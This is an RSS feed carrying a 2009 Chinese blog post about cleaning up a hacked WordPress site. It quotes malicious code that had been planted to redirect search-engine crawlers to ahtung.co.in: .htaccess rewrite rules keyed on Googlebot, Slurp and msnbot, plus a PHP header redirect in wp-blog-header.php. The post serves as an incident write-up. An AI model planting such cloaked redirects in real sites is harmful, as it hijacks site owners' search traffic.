<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>一个故事@MySQL DBA &#187; ahtung.co wp hacked go00ogle.net</title>
	<atom:link href="http://www.orczhou.com/index.php/tag/ahtungco-wp-hacked-go00oglenet/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.orczhou.com</link>
	<description>一个故事@MySQL DBA</description>
	<lastBuildDate>Tue, 24 Aug 2010 01:44:36 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.0</generator>
		<item>
		<title>遭遇恶意代码(外篇)</title>
		<link>http://www.orczhou.com/index.php/2009/08/googlebot-redirect-301/</link>
		<comments>http://www.orczhou.com/index.php/2009/08/googlebot-redirect-301/#comments</comments>
		<pubDate>Fri, 07 Aug 2009 14:40:17 +0000</pubDate>
		<dc:creator>orczhou</dc:creator>
				<category><![CDATA[大千世界]]></category>
		<category><![CDATA[ahtung.co wp hacked go00ogle.net]]></category>

		<guid isPermaLink="false">http://orczhou.com/?p=548</guid>
		<description><![CDATA[<p>在<a href="http://orczhou.com/index.php/2009/08/remove-go00oglenet/" target="_blank">前篇</a>清除go00ogle.net的恶意代码后，浏览器虽然都可以正常访问了，但google爬虫却无法收录网站的内容，仔细一排查，又发现另一片天空。<br />
[......]</p><p class='read-more'><a href='http://www.orczhou.com/index.php/2009/08/googlebot-redirect-301/'>继续阅读</a></p>]]></description>
			<content:encoded><![CDATA[<p>在<a href="http://orczhou.com/index.php/2009/08/remove-go00oglenet/" target="_blank">前篇</a>清除go00ogle.net的恶意代码后，浏览器虽然都可以正常访问了，但google爬虫却无法收录网站的内容，仔细一排查，又发现另一片天空。<br />
<span id="more-548"></span><br />
经过<a href="http://www.2lou.org.cn/http-status.php" target="_blank">HTTP 状态码/响应代码_检测</a>发现，网站会将Google爬虫的请求重定向到ahtung.co.in(未知站点)。Why? 检查发现，原来是站点中被恶意添加了如下两段代码所致：</p>
<ol>
<li>站点根目录中.htaccess文件尾部被恶意添加：<br />
<span style="color: #008000;font-family:courier new;">RewriteBase /<br />
RewriteCond %{HTTP_USER_AGENT} (Googlebot|Slurp|msnbot)<br />
RewriteRule ^ http://ahtung.co.in/ [R=301,L]</span></li>
<li>文件wp-blog-header.php文件头部被恶意添加：<br />
<span style="color: #008000;font-family:courier new;">if (eregi(&#8220;google&#8221;, $agent)) {header(&#8220;HTTP/1.1 301&#8243;); header(&#8220;Location: http://ahtung.co.in/&#8221;); exit(); }</span></li>
</ol>
<p>以上两端代码都会导致将google爬虫的请求重定向到ahtung.co.in。删除前面两端代码，google爬虫的请求就会正常了。(至于，为什么有人会转发google爬虫的请求？参考<a href="http://johnmu.com/pagerank-hacker-using-suomi-co-in/" target="_blank">这里</a>)</p>
<p>(全文完)</p>
]]></content:encoded>
			<wfw:commentRss>http://www.orczhou.com/index.php/2009/08/googlebot-redirect-301/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>
